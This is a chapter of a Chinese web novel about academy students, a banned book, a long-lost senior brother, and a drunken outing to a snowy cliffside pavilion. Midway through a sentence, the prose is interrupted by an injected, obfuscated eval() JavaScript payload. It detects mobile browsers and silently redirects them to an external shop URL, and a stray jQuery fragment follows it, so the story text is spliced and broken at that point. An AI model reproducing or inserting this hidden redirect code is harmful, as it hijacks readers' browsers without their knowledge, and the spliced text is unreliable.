临近春岁,中岳的试考将至,陈惢每日唉声叹气,看着身旁云银一丝不苟地砚墨,她感慨道:“欸,我何时才能回家啊!”
临逸堂那边响起了动静。
归雁堂这一众努着身子靠在窗前,兴致勃勃地观望着,云银挤进去,才发现又是吕向那小子。
“谢行舟,你竟敢私藏旧书?”吕向洋洋得意地捡起地上他掉落的书。
“什么旧书?”谢行舟嗔他,“你狗眼看错了吧。”
“你——!”吕向气急败坏,“我没看错!大家都来瞧瞧,这可不就是圣上禁印的旧书么?”
一众人围了上去,见果真是禁传的旧书,纷纷斥责着谢行舟,而他本人,根本不知晓珍藏在怀间的书,是禁书。
“你且说来听听,这为什么是旧书?”谢行舟问道。
吕向说不出口,只知道老师曾说当今官家几年前禁用此书教学,可有一位围观的书生却令众人凑近了些。
归雁堂的眼见几人聚一块,听不真切了,几个泼皮的走出书堂挤了进去。
“我听说,是因为这里面有一篇文章,记载了虞妃的生平,还记载了与覃府结仇之人的一些丰功伟绩。”
说话间,云银也在一旁竖耳倾听。
“怪不得。”只听又一位同窗说道,“官家何等宠幸虞妃,如此说来,也不难为一段佳话啊。”
吕向见有人帮衬自己,更加得意道:“所以,这就是旧书!谢行舟,你好大的胆子,你不配做中岳的学生!”
谢行舟听罢刚才众人所言,还以为多大点事儿,“各位,虽说官家虞妃确为一段佳话,可那仇人的丰功伟绩却也是真真切切的,人都是复杂的,吕向,你何必如此嗔怪我,我倒觉得,这当今圣上气量…”
“昭珩!”一道犀利的声音,使他的话戛然而止,杨时自对侧走了过来,“你们这是要干什么!明年的科考,是都胸有成竹了?”
众人顿时哑口无言,杨时再度开口:“你们中,也就元林和子浣还算够格!”
提及的两人并肩安静坐在屋中,听到自己的名字抬头望了出去,一丝不苟的模样惹得洛施施抿笑不停,云银更是乐得开怀。
“老师在责骂我们?”郑元林没理会刚才门外嘈杂,只听老师拔高音调,高声唤了二人的名字。
“非也,”赵煊平淡地翻书,“是夸赞。”
待众人悻悻离去,杨时踱步过来,抽走了谢行舟手中的旧书。
“老师,我有疑问。”谢行舟见杨时一字不吭,转身就要走,更加疑惑。
“此书是一位武僧赠予我的。”谢行舟说道,“他说,书中所载之人都可值得学习,刚才吕向他们说的,是真的?”
杨时眯起眼缝,继而回身笑了起来:“昭珩,你刚才不是很洒脱么?你说得不错,评判人的好坏,实非易事,可你太不妄权贵,当今圣上岂是你能说得的?”
谢行舟低下眸子,杨时抚上他的肩头:“昭珩,我知道那位武僧对你有救命之恩,待你不薄,但…这书我暂替你收下了。”
说罢,杨时迈着步子离开。
云银见他失落至此,孤独地坐在堂前的槛边,真是难得一见。
她走上前去:“谢师兄,你这是又怎么了?”
谢行舟像是没听见,不过靠窗的人倒是听得仔细,他侧眸过去。
“罢了,”谢行舟自喃道,“云岩大哥,你到底在哪?”
云银一怔,慌忙拽住他的手臂:“你刚刚说什么?云岩大哥?”
谢行舟被她这一弄显得有些呆愣,“小师妹,你怎么了?”
“山石相间为岩,可是这个?”云银急切问道。
谢行舟点点头,云银惊喜万分地闪着双眸:“这是我大师兄!”
谢行舟比她更惊诧,咽了咽,回想起来:“难怪你初来时,常常去那少林禅寺。”
云银嗯声,笑得比往日都更开怀。
堂里,郑元林见一旁的人跟死了似的,也不发出什么动静,侧头看了过去,他皱着眉伸手,在赵煊脸前挥晃着:“赵子浣,你书角都捏烂了…”
赵煊回过神,松开手来,慌乱中道了声多谢。
堂外的两人都快抱在一块哭了…
云银双手拍在谢行舟的双肩:“谢师兄,我大师兄是不是武力很高强!”
“的确,他是我见过最英勇的男子。”谢行舟说着,“那是四五年前了,他比我大,教我本领做人,我常常跑去少林禅寺,就算吃一天斋饭也愿意。”
云银听得梨花带雨,“你也很想见见你这位故友吧。可惜,就连我也找不到他。”
二人兀自伤神,谢行舟看向杨时的藏书阁,复又拍抚着她的肩上:“小师妹别怕,云岩不会死的,他一定还好好活着。”
云银嗯声,午膳时间到了。
众人踏出书堂,伸展着腰身,三五成群地跨去膳堂。
谢行舟同郑元林走后,云银孤自站着,仰头看了看一侧的梨树,正午的阳光透着枝桠晕了过来,她笑得露着虎牙。
转身,云银吓得一愣。
不知何时,赵煊站在堂前的廊上,一动不动地凝望着她,没有任何神色。
“你吓到我了…”云银轻喃出声。
“抱歉,小师妹。”赵煊说着。
他何时这么称呼过自己……
云银咽了咽,正欲溜走,却被他喊住:“我让韩廷去偃师买了些茶果子和蜜饯,你想尝尝么?”
“不了,我和惢儿一同饭饮。”
赵煊又极快说道:“韩廷说,偃师梨花阁新酿了几坛梅花酒,念着如今腊冬,家家户户都开始张罗着买酒食备春岁,他也买了几坛回来。”
云银顿住步子,僵硬着身子,心中徘徊不前。
彼时,陈惢欢喜着狂奔过来:“银儿,走啊,一起去膳堂。”
云银挣扎着握向陈惢:“惢儿,你想不想喝酒啊?”
陈惢摇摇头:“不了,过午我阿爹要来给我送包裹,浑身酒味少不了一顿打。”
云银尬笑两声:“哦,这样啊,那也好…”
陈惢察觉出什么,“银儿,你又想喝酒了?”
云银垂下眸子,迟迟不应。
“罢了罢了,你且去吧,就是别让先生们发现了。”陈惢掩笑道。
云银抬起头,含笑抱着她:“惢儿你最好了。”
而后,她一步步挪向赵煊,开口道:“酒…在哪?”
赵煊:“随我来吧。”
二人离去,一侧的屋墙外,陈惢趴着偷听,见二人走开了,于是回身将要去膳堂,却迎面撞上走来的谢行舟。
“诶诶诶,谢师兄。”陈惢焦急说道,“你被偷家了!”
谢行舟一脸狐疑,就听她又说着:“你知道么,抓住一个女人的心,首先要抓住她的胃。”
“你在哪个话本里看到的这句话?”谢行舟疑惑不解。
“这是真理!我阿爹告诉我的。”陈惢气愤地拔高音调,“亏我还好心提醒你。算了,你吃饭比狗都快,还指望懂抓住胃,嗐。”
“诶陈师妹——!”谢行舟大叫起来,陈惢飞快跑走,单留他一人在原地直跺脚。
*
云银走得累了,直问他还有多久才能走到。赵煊回身笑意相迎:“快了,上次来梅林坐的马车,是我疏忽,没能备马。”
“无碍无碍。”云银说道,“你不是说在那发现了一座亭子嘛,等我们走到那里,坐下歇着饮酒,想想就舒适!”
赵煊见她很是期盼,倒更想快步走到那里,“也是,日昃(1)无课,正好闲情逸致。”
亭子伫立在山崖边,看起来威风凛凛,却见四角仍是宫墙建筑,倒是有些俗气,不过好在,大雪漫天,覆盖得它银装素裹,像是一座镂空的仙殿。
云银懒洋洋坐在其中,一条腿还放在另一圆凳上,来回摆弄着双脚,自在地倒酒,举起杯盏递到唇边,还要装模作样嗅闻一番,再美美灌进肚里。
“哪里是闲庭,此乃仙庭!”云银好似太白上身,“赵子浣,你怎么不喝啊?”
云银说着就朝他的杯盏倒酒,赵煊注视着她,显然有些醉了,便轻声唤道:“云银,只饮这一酒盏可好?”
她当即摇摇头:“不行!今日我好生欢喜,来,我们不醉不归,喝!”
赵煊无奈,举起来闷头直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759562|209335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饮,就见她又倒了盏,刚要推托,却听她问道:“这亭子为何叫兰庭?”
只一字之差,可这座亭子着实不大,竟唤为庭,云银好奇地看着他。
“你快说,我可是知道你的脾性,对一切都充满探索。”云银说着,“你敢说,发现这座亭子时,没让韩郎君去查来历?”
赵煊愣了。他一动不动地看向她,双眸却溢了血丝,他心底顿生熨贴,这种微妙的感觉让他说不出话,只剩轻微喘气。
“那…我也可以探索你?”
赵煊无意识地喃出这句。
云银傻乎地望向他:“什么?好生奇怪的说法,你今日是怎么了?”
赵煊回过神,喉结滚动,岔开话来:“李唐时期,这里曾是皇家有名的猎场,唐皇提字兰庭,山崖下有条江,便唤作兰庭江。”
“后来呢,此地出名了?”云银醉醺醺地,试图将皱巴的脑子抻展,却无济于事,歪头倒在了石几上。
“后来,李唐举行狩猎,据说有位骁勇善战的郡主,于兄长箭下救了一只兔子,最后那支箭只射中了小兔的耳朵。自此小郡主爱惜生灵广为流传,是为一段佳话。”
云银枕在手臂点着头,嘿嘿笑着:“所以是小郡主让此地声名远扬了。赵子浣,你快让韩廷帮我去寻她,我要同郡主交朋友。”
竟开始说胡话了,赵煊心下想着,就见她直起身子:“梅花酒,好喝…”
他发出笑声,“好,不过我可是寻不到那位郡主。等回了汴梁,我向你介绍另一位好了。”
云银迷糊地点头,又要歪头趴去,赵煊抬手撑住了她的侧脸,“我们回去?”
只听她轻哝些什么,又嗯嗯点头。赵煊扶起她,喝得大醉的云银颤颤巍巍地推开他的手,“我自己走。”
赵煊没再去扶,只小心翼翼地跟在身后,双手没垂下过,作虚扶势,待她实在难受,他没有再遵从她,上前将她抱了起来,踱步走回书院。
云银朦胧中,感到蜷在一团褥被里,很是暖手,身子全都热了起来,她下意识地抓紧了被褥,不一会儿,就被刺眼的光芒笼罩。
她婆娑地睁开双眼,却见上空是太阳,才发现是有人托着她,不过头脑晕眩,阳光下只能看到他的下颌,“…谢师兄,我还没跟赵子浣道别呢,他跟上来了么?”
赵煊步子一顿,云银见他不说话,以为是声音太小,“师兄,你放我下来吧,我自己可以走。”
赵煊不应,走了下去。
“对了,师兄,刚刚赵子浣问他可以探索我吗,这是何意?”云银再度开口,“他早就知道我什么脾性,还用得着探索,搞得我和他很生疏似的。”
她说完,突然呵呵笑了起来:“师兄,你来探索探索我,你觉得我是什么人?”
云银像是耍泼皮,嚷嚷着:“你对我作何评骘?”
见她晃动双脚,一副不罢休的模样,赵煊不得不应:“师妹,你是太阳。”
云银笑嘻嘻:“那你就是月亮,洛师姐是含羞草,惢儿是芙蓉花,郑元林是晚菘,赵子浣…他倒最是刚正不阿,且是一株金盏花罢。”
为数不多的温情里,赵煊都觉得弥足珍贵。
也罢,错认了也无妨。
金盏花白日朵蕊追随太阳,花茎却笔直挺立,夜间瓣蕊收拢闭合,民间常称它“追阳小花”,倒很是形象。
二人归去时,见洛施施和谢行舟立于山门前,见到两人身影,慌忙赶过来。
“小师妹这是怎么了?”洛施施一脸忧色地问道。
云银见到她,傻乐着握着洛施施的手:“师姐,我好着呢。”
“师妹怎么喝醉了?”谢行舟狐疑道,欲伸手将她抱过来,赵煊正巧轻放她下来。
“云银有些醉,你们将她带回屋子,我有要事,须离开几日。”赵煊说道。
洛施施点头,谢行舟背起云银,快步走向归山居,她就在一旁扶住小师妹歪着的头。
赵煊伫立许久,韩廷才驱马赶来。见郎君望着山门一动不动,韩廷上前询问着。
见郎君无言,他兀自站在马旁等候。良久,赵煊回身,轻盈跃上马:“韩廷,随我去京师复命。”